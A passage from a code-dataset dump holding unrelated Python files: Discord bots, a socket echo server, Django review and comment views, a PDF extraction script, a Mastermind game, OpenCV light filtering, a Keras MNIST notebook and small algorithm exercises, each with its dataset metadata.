break\n else:\n print(\"packet is none\")\n if server_status == True:\n await commchannel.send(\"@마인크래프트 서버 다운\")\n await channel.edit(name=\"🔴ㅣ직이섭 닫힘\")\n logging.info(\"Jigi Server Is DOWN\")\n server_status = False\n print(server_status)\n print(\"repeating soon...\")\n await asyncio.sleep(10)\n\n\nasync def pingjigi(message):\n for i in range(5):\n await message.channel.send(f\"`send packet {i+1}: 192.0.0.1 -> {jigiip}:25565`\")\n packet = measure_latency(host=jigiip, port=25565, runs=1, timeout=2.5)[0]\n print(packet)\n if packet != None:\n await message.channel.send(f\"`직이섭({jigiip}:25565) 열림`\")\n return\n await message.channel.send(\"`핑 확인 실패`\")\n\n await message.channel.send(f\"`직이섭({jigiip}:25565) 열리지 않음`\")\n\n\n@client.event\nasync def on_ready():\n print(f\"Logged in as {client}\")\n await change_name(\"🔴ㅣ직이섭 닫힘\")\n fnon = asyncio.ensure_future(pingjigia())\n loop = asyncio.get_event_loop()\n loop.run_forever()\n\n\n@client.event\nasync def on_message(message):\n global jigiip\n if message.author == client.user:\n return\n\n args = message.content.split(\" \")\n print(args)\n if args[0] == \"직이섭\":\n await message.channel.send(\"확인중...\")\n await pingjigi(message)\n elif args[0] == \"직이섭-ip\" or args[0] == \"wlrdltjq-ip\":\n await message.channel.send(\n f\"직이섭 IP({jigiip})를 임시적으로 {args[1]} 로 바꿉니다. IP는 다시 키면 초기화되니 봇 제작자한테 요청하세요.\"\n )\n jigiip = args[1]\n\n\nload_dotenv()\nclient.run(os.getenv(\"DISCORD_TOKEN\"))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"91223005","text":"\n\nimport socket\nimport time\n\n\nsc=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsc.bind(('', 9999))\nsc.listen(5)\n\n\n\nsc_server,addr=sc.accept();\nwhile True:\n data=sc_server.recv(1024)\n if not data:\n break\n\n\n\n\n#\n# print \"***\" in python2 changed to print (\"***\") in python3\n#\n print (str(data,encoding='utf-8'))\n\n\n\n\n t=time.strftime('---%H:%M:%S---',time.localtime())\n str_bytes=data+t.encode(encoding='utf-8')\n\n\n\n\n\n #\n # *** in send((***)) must be bytes, not str\n #\n sc_server.send((str_bytes))\n\n\n\n\n\nsc_server.close()\nsc.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"un_ln/tkpython/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"176531144","text":"from django.urls import reverse\nfrom rest_framework.settings import api_settings\nfrom rest_framework import serializers\nfrom sorl.thumbnail import get_thumbnail\nfrom . import settings\n\n\nclass ThumbnailField(serializers.ImageField):\n def __init__(self, *args, **kwargs):\n self.size = kwargs.pop('size', settings.DEFAULT_SIZE)\n super().__init__(*args, **kwargs)\n\n def to_representation(self, value):\n if not value:\n return None\n if settings.USE_NGINX:\n url = get_thumbnail(value, f'{self.size[0]}x{self.size[1]}', crop='center').url\n else:\n url = reverse('rest_thumbnail:detail', kwargs={'path': value, 'width': self.size[0], 'height': self.size[1]})\n use_url = getattr(self, 'use_url', api_settings.UPLOADED_FILES_USE_URL)\n if use_url and self.context.get('request'):\n request = self.context.get('request')\n return request.build_absolute_uri(url)\n return url\n","sub_path":"rest_thumbnail/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"68562466","text":"# -*- coding: utf-8 -*-\n\nclass Lattice:\n def __init__(self, n = 2, m = 2):\n self._m = m\n self._n = n\n return\n\n \"\"\"\n count_lattice_paths\n * input 無し\n\n n行 m列の格子の、左上から右下へ至る経路の個数を数える関数\n 2 * 3 の場合、\n lattice = [\n [1, 1, 1, 1], // 0 行目\n [1, 2, 3, 4], // 1 行目\n [1, 3, 6, 10] // 2 行目\n ]\n の右下 (10) を返す\n \"\"\"\n def count_lattice_paths(self,):\n \"\"\"\n >>> L = Lattice(2, 3)\n >>> L.count_lattice_paths()\n 10\n \"\"\"\n self.initialize_lattice()\n self.increment_lattice()\n return self._lattice_paths[self._n][self._m]\n\n \"\"\"\n initialize_lattice\n * input 無し\n\n 2*3 の場合、\n lattice = [\n [1, 1, 1, 1], // 0 行目\n [1,], // 1 行目\n [1,] // 2 行目\n ]\n \"\"\"\n def initialize_lattice(self,):\n \"\"\"\n >>> L = Lattice(2, 3)\n >>> L.initialize_lattice()\n [[1, 1, 1, 1], [1], [1]]\n \"\"\"\n # 0 行目を 1 で初期化\n self._lattice_paths = []\n zeroth_row = [1,] * (self._m + 1) # [1, 1 ,...]\n self._lattice_paths.append( zeroth_row )\n # 各行の 0 列目を 1 で初期化\n for i in range(1, self._n + 1): # i 行目\n ith_row = [1,]\n self._lattice_paths.append(ith_row)\n return self._lattice_paths\n\n def increment_lattice(self,):\n \"\"\"\n >>> L1 = Lattice(2, 3)\n >>> L1.initialize_lattice()\n [[1, 1, 1, 1], [1], [1]]\n >>> L1.increment_lattice()\n [[1, 1, 1, 1], [1, 2, 3, 4], [1, 3, 6, 10]]\n\n >>> L2 = Lattice(2, 2)\n >>> L2._lattice_paths = [[2, 2, 2], [2], [2]] # initialize with 2\n >>> L2.increment_lattice()\n [[2, 2, 2], [2, 4, 6], [2, 6, 12]]\n \"\"\"\n for j in range(1, self._m + 1): # j 列目\n for i in range(1, self._n + 1): # i 行目\n #print grid\n try:\n # lattice[i][j] を追加\n self._lattice_paths[i].append( self._lattice_paths[i-1][j] + self._lattice_paths[i][j-1] )\n except IndexError:\n sys.stderr.write(\"There is something wrong in this algorithm!\\n\")\n sys.stderr.write(\"Out of index: n:%d, m:%d\\n\" %(self._n, self._m))\n sys.exit(1)\n return self._lattice_paths\n\nif __name__ == \"__main__\":\n import doctest\n if doctest.testmod().failed:\n import sys\n sys.exit(1)\n\n\n","sub_path":"module/lattice.py","file_name":"lattice.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"581531472","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 12 16:34:11 2020\n\n@author: SA20149963\n\"\"\"\nimport tika # to extract text content form documents\nimport tabula # to extract tables inside documents OR Camelot\nfrom tabula import read_pdf # to extract tables from pdf\nimport spacy # to extract symantics from the text content\nimport fitz # PyMuPDF, to extract images from pdf document\nfrom PIL import Image # pillow for image encoding\nimport io\ntika.initVM()\nfrom tika import parser\ndoc_path = r'D:\\OSDU\\Unstructured_Data\\prov22.pdf'\nnlp=spacy.load(\"en_core_web_sm\")\nnlp_custom_ner = spacy.load('D:\\OSDU\\AI Models')\ndoc_content = {'metadata': {}, 'content':{}, 'entities':{}, 'tokens': {}, 'sentenses':{}, 'images':{}, 'tables':{}, 'custom_entities':{}}\n\ndef parse_document_from_tika():\n parsed_pdf = parser.from_file(doc_path)\n return parsed_pdf\n\ndef extract_entities_from_documents(parsed_pdf):\n doc = nlp(parsed_pdf['content'])\n doc_trained = nlp_custom_ner(parsed_pdf['content'])\n tokens = [token.text for token in doc if token.is_stop == False and token.text.isalpha() == True]\n entities = [(i, i.label_,i.label) for i in doc.ents]\n custom_entities = [(i, i.label_) for i in doc_trained.ents]\n sentenses = [sent for sent in doc.sents]\n tables = extract_tables_from_pdf_documents(doc_path)\n doc_images = extract_images_from_documents(doc_path)\n doc_content.update ({'metadata': parsed_pdf['metadata'], 'content': parsed_pdf['content'], 'entities': entities,\n 'tokens': tokens, 'sentenses': sentenses, 'tables': tables, 'images':doc_images, 'custom_entities':custom_entities})\n print (custom_entities)\ndef extract_tables_from_pdf_documents(doc_path):\n tables = read_pdf(doc_path, pages= 'all')\n #uncomment the below line to save the extracted tables as csv file\n tabula.convert_into(doc_path, 'test.csv', output_format='csv', pages='all')\n return tables\n\ndef extract_images_from_documents(doc_path):\n doc_images = []\n \n pdf_file = fitz.open(doc_path)\n # iterate over PDF pages\n for page_index in range(len(pdf_file)):\n # get the page itself\n page = pdf_file[page_index]\n image_list = page.getImageList()\n # printing number of images found in this page\n if image_list:\n print(f\"[+] Found a total of {len(image_list)} images in page {page_index}\")\n else:\n print(\"[!] No images found on page\", page_index)\n for image_index, img in enumerate(page.getImageList(), start=1):\n # get the XREF of the image\n xref = img[0]\n # extract the image bytes\n base_image = pdf_file.extractImage(xref)\n image_bytes = base_image[\"image\"]\n # get the image extension\n image_ext = base_image[\"ext\"]\n # load it to PIL\n image = Image.open(io.BytesIO(image_bytes))\n # uncomment the below line to save it to local disk\n #image.save(open(f'''D:/OSDU/Unstructured_Data/pdf_images/image{page_index+1}_{image_index}.{image_ext}''', \"wb\"))\n doc_images.append( base_image)\n return doc_images\nextract_entities_from_documents(parse_document_from_tika())","sub_path":"apache_tika.py","file_name":"apache_tika.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"361804748","text":"import random\n\n\nclass Mastermind:\n def __init__(self, conf):\n # Set config from conf class\n self.length = int(conf.getConfig(\"length\"))\n self.multiple = int(conf.getConfig(\"multiple\"))\n self.range = conf.getConfig(\"range\")\n self.maxtries = int(conf.getConfig(\"maxtries\"))\n\n def sequence(self):\n \"\"\" generate a random sequence according to configuration \"\"\"\n b, e = self.range.split(\"-\")\n b, e = int(b), int(e) + 1\n s = \"\"\n l = list(range(b, e))\n self.possible = l\n random.shuffle(l)\n for i in range(self.length):\n if self.multiple != 0 or self.length > len(l):\n s += str(random.choice(l))\n else:\n s += str(l[i])\n return s\n\n def validate(self, seq):\n \"\"\" check if sequence seq is valid according to config \"\"\"\n int(seq)\n if len(seq) != self.length:\n raise ValueError\n for i in seq:\n if int(i) not in self.possible:\n raise ValueError\n\n def check_correct(self, usr, preset):\n \"\"\"\n heart of the game; algorithm to check how many numbers are correct\n \"\"\"\n match = {}\n correct = \"\"\n for i in range(self.length):\n match[i] = \"\"\n # check for correct number in correct place\n for place in range(self.length):\n if usr[place] == preset[place]:\n match[place] = \"+\"\n correct += \"+\"\n # check for correct number in incorrect place\n for one in range(self.length):\n if match[one] != \"+\":\n for two in range(self.length):\n if usr[one] == preset[two] and one != two:\n if match[two] == \"\":\n match[two] = \"-\"\n correct += \"-\"\n break\n return correct\n\n def play(self):\n trie = self.maxtries\n comp = self.sequence()\n if trie <= 0:\n num = \"1\"\n down = False\n else:\n num = str(trie)\n down = True\n end = False\n # main game loop\n while not end:\n try:\n user = input(\"MasterMind \" + num + \"> \")\n self.validate(user)\n result = self.check_correct(user, comp)\n print(result)\n if result == (\"+\" * self.length):\n print(\"Congratulations, you've got all numbers correct!\")\n raise KeyboardInterrupt\n if num == \"1\" and down:\n print(\"You have taken too many tries! The sequence was\",\n comp)\n raise KeyboardInterrupt\n except ValueError:\n print(\"Input has to be\", self.length, \"numbers in range\",\n self.range)\n except KeyboardInterrupt:\n print()\n end = True\n else:\n if down is True:\n num = str(int(num) - 1)\n else:\n num = str(int(num) + 1)\n","sub_path":"game/mastermind.py","file_name":"mastermind.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"241008955","text":"from rest_framework.serializers import Serializer\nfrom community import serializers\nfrom django.shortcuts import get_list_or_404, get_object_or_404\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom django.http import JsonResponse\nfrom rest_framework.decorators import api_view\nfrom django.core.paginator import Paginator\n\n\nfrom rest_framework.decorators import authentication_classes, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\n\nfrom .serializers import ReviewListSerializer, ReviewSerializer, CommentSerializer\nfrom .models import Review, Comment\nfrom movies.models import Movie\n\n\n@api_view(['GET', 'POST'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef review_list_create(request, movie_pk):\n movie = get_object_or_404(Movie, pk=movie_pk)\n \n if request.method == 'GET':\n myReview = request.GET.get('myReview')\n next = request.GET.get('next')\n page = request.GET.get('page')\n # print(myReview, '5' * 200)\n if myReview == 'true':\n # review = movie.review_set.filter(user_id=request.user)\n review = get_object_or_404(movie.review_set, user_id=request.user)\n print(review)\n serializer = ReviewListSerializer(review)\n return Response(serializer.data)\n elif next == 'true':\n reviews = movie.review_set.all()\n paginator = Paginator(reviews, 15)\n current_page = paginator.page(page)\n return JsonResponse({'next': current_page.has_next()})\n else:\n reviews = movie.review_set.all()\n paginator = Paginator(reviews, 15)\n page_obj = paginator.get_page(page)\n serializer = ReviewListSerializer(page_obj, many=True)\n return Response(serializer.data)\n\n elif request.method == 'POST':\n review = Review.objects.filter(movie_id=movie.id, user_id=request.user)\n if review.count() == 0:\n # review.delete()\n serializer = ReviewSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save(movie=movie, user=request.user)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET', 'POST', 'PUT', 'DELETE'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef review_detail_update_delete_comment_create(request, review_pk):\n review = get_object_or_404(Review, pk=review_pk)\n if request.method == 'GET':\n serializer = ReviewSerializer(review)\n return Response(serializer.data)\n\n\n elif request.method == 'POST':\n serializer = CommentSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save(review=review, user=request.user)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\n if request.user == review.user:\n if request.method == 'PUT':\n # print(request.user, review.user)\n serializer = ReviewSerializer(review, data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(serializer.data)\n\n\n elif request.method == 'DELETE':\n if request.user == review.user:\n review.delete()\n return Response({ 'id': review_pk })\n return Response(status=status.HTTP_403_FORBIDDEN)\n\n\n@api_view(['PUT', 'DELETE'])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef comment_update_delete(request, comment_pk):\n comment = get_object_or_404(Comment, pk=comment_pk)\n \n if request.user == comment.user:\n if request.method == 'PUT':\n serializer = CommentSerializer(comment, request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response(serializer.data)\n\n elif request.method == 'DELETE':\n comment.delete()\n return Response({ 'id': comment_pk })\n return Response(status=status.HTTP_403_FORBIDDEN)\n\n\n@api_view(['GET',])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef comment_list(request, review_pk):\n next = request.GET.get('next')\n page = request.GET.get('page')\n comments = get_list_or_404(Comment, review_id=review_pk)\n paginator = Paginator(comments, 20)\n page_obj = paginator.get_page(page)\n serializer = CommentSerializer(page_obj, many=True)\n\n if next == 'true':\n current_page = paginator.page(page)\n return JsonResponse({\n 'next': current_page.has_next() \n })\n\n return Response(serializer.data)\n\n\n@api_view(['GET',])\n@authentication_classes([JSONWebTokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef is_superuser(request):\n user = request.user\n return JsonResponse({\n 'isSuperuser': user.is_superuser\n })\n","sub_path":"community/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"93024443","text":"import os\n\nfrom bt_utils.console import Console\nfrom bt_utils.embed_templates import SuccessEmbed, ErrorEmbed, NoticeEmbed, InfoEmbed\nfrom bt_utils.config import cfg\nfrom bt_utils import handleJson\nfrom bt_utils.custom_exceptions import *\nfrom bt_utils.get_content import content_dir\n\nSHL = Console(\"BundestagsBot Result\")\n\nsettings = {\n 'name': 'result',\n 'channels': ['all'],\n}\n\npath = os.path.join(content_dir, \"surveys.json\")\n\n\nasync def main(client, message, params):\n embed = ErrorEmbed(title=\"Result\")\n embed.description = \"Something went wrong. Please contact an admin.\"\n try:\n if len(str(message.content).split(' ')) != 2 or params[0][0] != '#':\n raise CommandSyntaxException()\n survey_id = params[0][1:]\n if not survey_id.isdigit():\n raise InvalidSurveyIdException(survey_id)\n if not survey_id_is_valid(survey_id):\n raise SurveyNotFoundException(survey_id)\n embed = create_embed(survey_id)\n except SurveyNotFoundException as e:\n embed.description = f\"#{e.survey_id} could not be assigned to a survey.\"\n except InvalidSurveyIdException as e:\n embed.description = f\"{e.survey_id} is an invalid ID.\"\n except CommandSyntaxException as e:\n embed.description = f\"Invalid syntax.\\nPlease use {cfg.options['invoke_normal']}result #surveyID\"\n finally:\n await message.channel.send(embed=embed)\n\n\ndef survey_id_is_valid(survey_id):\n try:\n data = handleJson.read_json_raw(path)\n except FileNotFoundError:\n SHL.output(\"Survey file not found. Creating it.\")\n file_dir = os.path.join(handleJson.BASE_PATH, os.path.dirname(path))\n if not os.path.exists(file_dir):\n os.makedirs(file_dir)\n handleJson.saveasjson(path, {})\n data = handleJson.read_json_raw(path)\n return str(survey_id) in [key for key in data.keys() if key not in ['unsubs', 'latestID']]\n\n\ndef create_embed(survey_id):\n try:\n data = handleJson.read_json_raw(path)\n except FileNotFoundError:\n SHL.output('Survey file not found. Creating it.')\n file_dir = os.path.join(handleJson.BASE_PATH, os.path.dirname(path))\n if not os.path.exists(file_dir):\n os.makedirs(file_dir)\n handleJson.saveasjson(path, {})\n data = handleJson.read_json_raw(path)\n\n title = data[survey_id]['title']\n text = data[survey_id]['text']\n author = data[survey_id]['author']\n url = data[survey_id]['url']\n votes = len(data[survey_id]['voted'])\n answers = data[survey_id]['answers']\n results = data[survey_id]['results']\n answers_text = []\n\n for e in sorted(results, key=lambda x: results[x])[::-1]:\n if sum(results.values()):\n answer_pct = round(results[e] * 100 / sum(results.values()), 1)\n answer_pct = str(answer_pct).replace(\".\", \",\")\n else:\n answer_pct = \"0\"\n answers_text.append(f'{answer_pct}% ({results[e]}): {answers[e]}')\n answers_text = '\\n'.join(answers_text)\n\n embed = InfoEmbed(title='Umfrage #' + str(survey_id) + ': ' + title)\n embed.url = url\n embed.add_field(name='Frage:', value=text, inline=False)\n embed.add_field(name='Information:',\n value=f'Diskutiere über diese Umfrage in <#{cfg.get(\"channel_ids\", dict()).get(\"main\", 0)}>.',\n inline=False)\n embed.add_field(name='Ergebnis:', value=answers_text)\n embed.add_field(name='Beteiligung: ', value='Insgesamt abgestimmt haben: ' + str(votes))\n embed.set_footer(text='Umfrage von ' + author)\n\n return embed\n","sub_path":"src/commands/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"611507173","text":"def normalizeData(topic, minV, maxV):\n for i, _ in enumerate(topic):\n topic[i] = (topic[i]-minV)/(maxV-minV)\n return topic\n\n\ndef getStd(topic, mean):\n std = 0\n for mark in topic:\n std += (mark - mean) ** 2\n std /= len(topic) - 1\n std = std ** 0.5\n return std\n\n\ndef getMinMax(topic):\n # Get min and max values\n topic = sorted(topic)\n minV = topic[0]\n maxV = topic[len(topic) - 1]\n return minV, maxV\n\n\ndef getMean(topic):\n mean = 0\n for i in range(len(topic)):\n mean += topic[i]\n mean /= len(topic)\n return mean\n\n\ndef formatData(topic):\n for i, elem in enumerate(topic):\n topic[i] = float(elem)\n return topic\n\n\ndef isFormatted(row):\n for r in row:\n if r == \"\":\n return False\n return True\n","sub_path":"ml_functions/ml.py","file_name":"ml.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"593956784","text":"import cv2\nimport numpy as np \n\n# 自定义函数:将最小矩形的四个坐标点进行左顶点-右顶点-右底点-左底点的排序\n# 输入 1:最小矩形的四个坐标\n# 输入 2:最小矩形的中点坐标\n# 返回值:排序后的数组\ndef point_sort(box,mid_pointoint):\n sorted = np.empty([4,2])\n for i in (box):\n if (i[0]<=mid_pointoint[0])&(i[1]>=mid_pointoint[1]):\n left_top = i\n sorted[0] = left_top\n if (i[0]>=mid_pointoint[0])&(i[1]>=mid_pointoint[1]):\n right_top = i\n sorted[1] = right_top\n if (i[0]>=mid_pointoint[0])&(i[1]<=mid_pointoint[1]):\n right_down = i\n sorted[2] = right_down\n if (i[0]<=mid_pointoint[0])&(i[1]<=mid_pointoint[1]):\n left_down = i\n sorted[3] = left_down\n return sorted\n \n\n# 自定义函数:用于筛选不是一组平行灯条的干扰\n# 输入 1:所有灯条轮廓\n# 输入 2:选定最低角度\n# 输入 3:选定最高角度\n# 返回值:正确平行灯条\ndef angle_filter(k,max_angle,min_angle):\n return (k >=min_angle) & (k <=max_angle)\n\n# 自定义函数:用于获取灯条宽的中值坐标\n# 输入 1:第一个点\n# 输入 2:第二个点\n# 返回值:中值坐标\ndef get_mid_point(fst,sec):\n mid_point = (fst + sec)*0.5\n mid_point = np.int0(mid_point)\n mid_point.resize((1,2))\n return mid_point\n\n# 自定义函数:用于获取斜率\n# 输入 1:第一中点\n# 输入 2:第二中点\n# 返回值:斜率\ndef cul_slope(point1,point2):\n point1 = point1[0]\n point2 = point2[0]\n if (point1[0]-point2[0])== 0:\n k=0\n else:\n k = (point1[1]-point2[1])/(point1[0]-point2[0])\n return k\n\n# 自定义函数:用于选出最终的板子坐标范围\n# 输入 1:正确灯条轮廓\n# 返回值:板子区域坐标\ndef get_final_box(contours):\n mid_point_all = np.empty([0,2])\n final_box = np.empty([0,2])\n final_box1 = np.empty\n for i in range(len(contours)):\n #x, y, w, h = cv2.boundingRect(contours[i])\n #box = ([x,y],[x+w,y],[x+w,y+h],[x,y+h])\n box = cv2.minAreaRect(contours[i])\n print('所选最小矩形',box)\n box_point = cv2.boxPoints(box)\n box_point = np.int0(box_point)# 矩形的���个角点取整\n box_point = point_sort(box_point,box[0])\n #剔除负值\n print('可能四边形',box_point)\n get_mid_point1 = get_mid_point(box_point[0],box_point[1])\n get_mid_point2 = get_mid_point(box_point[2],box_point[3])\n k = cul_slope(get_mid_point1,get_mid_point2)\n print('斜率',k)\n if(angle_filter(k,5.6,-5.6)!=1):\n break\n mid_point_all = np.append(mid_point_all,get_mid_point1,axis=0)\n mid_point_all = np.append(mid_point_all,get_mid_point2,axis=0)\n mid_point_all = np.int0(mid_point_all)\n final_box = np.append(final_box,box_point,axis=0)\n final_box1 = np.split(final_box,len(final_box)/4)\n for i in range(len(final_box)):\n final_box[i] = np.int0(final_box[i])\n final_box1 = np.int0(final_box1)\n print('可能四边形合集',final_box)\n try:\n final_rect = cv2.minAreaRect(mid_point_all)\n final_rect = np.int0(cv2.boxPoints(final_rect))\n print('分割后',final_box1)\n except:\n final_rect = mid_point_all\n pass\n return final_box1,final_rect\n","sub_path":"RM_Vision/lightFilter.py","file_name":"lightFilter.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"6543197","text":"import csv\nimport os\nimport fcntl\nimport config\n\n#This module will hold the statuses of the LED's on the BPS. \n\n#path name to file\nfile = config.directory_path + config.files['Lights']\n\n#returns integer where 9 LSB are status of 9 LED's\ndef read():\n lights = []\n os.makedirs(os.path.dirname(file), exist_ok=True) # creates directory if not exists\n with open(file, 'a') as csvfile:\n pass # creates file if not exists\n with open(file, 'r') as csvfile: #read file\n fcntl.flock(csvfile.fileno(), fcntl.LOCK_EX) # Lock file\n csvreader = csv.reader(csvfile)\n for row in csvreader:\n lights.append(row)\n fcntl.flock(csvfile.fileno(), fcntl.LOCK_UN) # Unlock file\n if len(lights):\n return int(lights[0][0])\n else:\n return 0\n \n","sub_path":"BSP/Simulator/DataGeneration/Lights.py","file_name":"Lights.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"97540288","text":"# Copyright 2020 Alexis Lopez Zubieta\n#\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n# sell copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n\nimport unittest\n\nfrom .gdk_pixbuf import GdkPixbuf\n\n\nclass GdkPixbufTestCase(unittest.TestCase):\n def setUp(self) -> None:\n self.helper = GdkPixbuf('/AppDir', [\n '/AppDir/usr/lib/x86_64-linux-gnu/gdk-pixbuf-2.0/2.10.0/loaders/libpixbufloader-svg.so'\n ])\n\n def test_get_gdk_pixbud_loaders_path(self):\n path = self.helper._get_gdk_pixbud_loaders_path()\n self.assertEqual(path, 'usr/lib/x86_64-linux-gnu/gdk-pixbuf-2.0/2.10.0/loaders')\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"AppImageBuilder/app_dir/runtimes/classic/helpers/test_gdk_pixbuf.py","file_name":"test_gdk_pixbuf.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"43363232","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom keras.datasets import mnist\n\n\n# In[2]:\n\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n\n# In[3]:\n\n\nimg=x_train[0]\n\n\n# In[4]:\n\n\nimg.shape\n\n\n# In[5]:\n\n\nimg1D=img.reshape(28*28)\n\n\n# In[6]:\n\n\nimg1D.shape\n\n\n# In[7]:\n\n\nimport matplotlib.pyplot as plt\n\n\n# In[8]:\n\n\nplt.imshow(img)\n\n\n# In[9]:\n\n\nx_train1D=x_train.reshape(-1,28*28)\n\n\n# In[10]:\n\n\nx_train1D.shape\n\n\n# In[11]:\n\n\nx_train=x_train1D.astype('float32')\n\n\n# In[12]:\n\n\nfrom keras.utils.np_utils import to_categorical\n\n\n# In[13]:\n\n\ny_train_cat = to_categorical(y_train)\n\n\n# In[14]:\n\n\nfrom keras.models import Sequential\n\n\n# In[15]:\n\n\nfrom keras.layers import Dense\n\n\n# In[16]:\n\n\nmodel = Sequential()\n\n\n# In[17]:\n\n\nmodel.add(Dense(units=512, input_dim=28*28, activation='relu'))\n\n\n# In[18]:\n\n\nmodel.summary()\n\n\n# In[19]:\n\n\nmodel.add(Dense(units=256, activation='relu'))\n\n\n# In[20]:\n\n\nmodel.add(Dense(units=128, activation='relu'))\n\n\n# In[21]:\n\n\nmodel.add(Dense(units=32, activation='relu'))\n\n\n# In[22]:\n\n\nmodel.summary()\n\n\n# In[23]:\n\n\nmodel.add(Dense(units=10, activation='softmax'))\n\n\n# In[24]:\n\n\nmodel.summary()\n\n\n# In[25]:\n\n\nfrom keras.optimizers import RMSprop\n\n\n# In[26]:\n\n\nmodel.compile(optimizer=RMSprop(), loss='categorical_crossentropy', \n metrics=['accuracy']\n )\n\n\n# In[27]:\n\n\nh = model.fit(x_train, y_train_cat, epochs=2)\n\n\n# In[29]:\n\n\nX_test_1d=x_test.reshape(-1, 28*28)\n\n\n# In[35]:\n\n\nX_test=x_train1D.astype('float32')\n\n\n# In[36]:\n\n\n\ny_test_cat=to_categorical(y_test)\n\n\n# In[37]:\n\n\nmodel.predict(X_test)\n\n\n# In[38]:\n\n\ny_test_cat\n\n\n# In[61]:\n\n\nmodel.save('main_model.h1')\n\n\n\n# In[ ]:\naccuarcy=(h.history['accuracy'])\n\n\na=h.history['accuracy'][-1]\n\n\nprint(\"accuarcy is=\",a)\n\n\nwith open('/root/task3mlops/accuracy.txt', 'w+') as output_file:\n output_file.write(str(a))\n\n\n","sub_path":"main_cnn.py","file_name":"main_cnn.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"188823281","text":"\"\"\"\nTests for dit.profiles.MUIProfile. Known examples taken from http://arxiv.org/abs/1409.4708 .\n\"\"\"\n\nfrom __future__ import division\n\nfrom nose.tools import assert_dict_equal\nfrom numpy.testing import assert_array_almost_equal\n\nfrom dit import Distribution\nfrom dit.profiles import MUIProfile\n\nex1 = Distribution(['000', '001', '010', '011', '100', '101', '110', '111'], [1/8]*8)\nex2 = Distribution(['000', '111'], [1/2]*2)\nex3 = Distribution(['000', '001', '110', '111'], [1/4]*4)\nex4 = Distribution(['000', '011', '101', '110'], [1/4]*4)\nexamples = [ex1, ex2, ex3, ex4]\n\n\ndef test_mui_profile():\n \"\"\"\n Test against known examples.\n \"\"\"\n profs = [({0.0: 1.0}, [3.0]),\n ({0.0: 3.0}, [1.0]),\n ({0.0: 2.0, 1.0: 1.0}, [1.0, 1.0]),\n ({0.0: 3/2}, [2.0])]\n for ex, (prof, width) in zip(examples, profs):\n mui = MUIProfile(ex)\n yield assert_dict_equal, mui.profile, prof\n yield assert_array_almost_equal, mui.widths, width\n","sub_path":"dit/profiles/tests/test_mui.py","file_name":"test_mui.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"295729773","text":"class Solution(object):\n def projectionArea(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n area = sum(v > 0 for row in grid for v in row)\n area += sum(max(row) for row in grid)\n area += sum(max(column) for column in zip(*grid))\n \n \n \n return 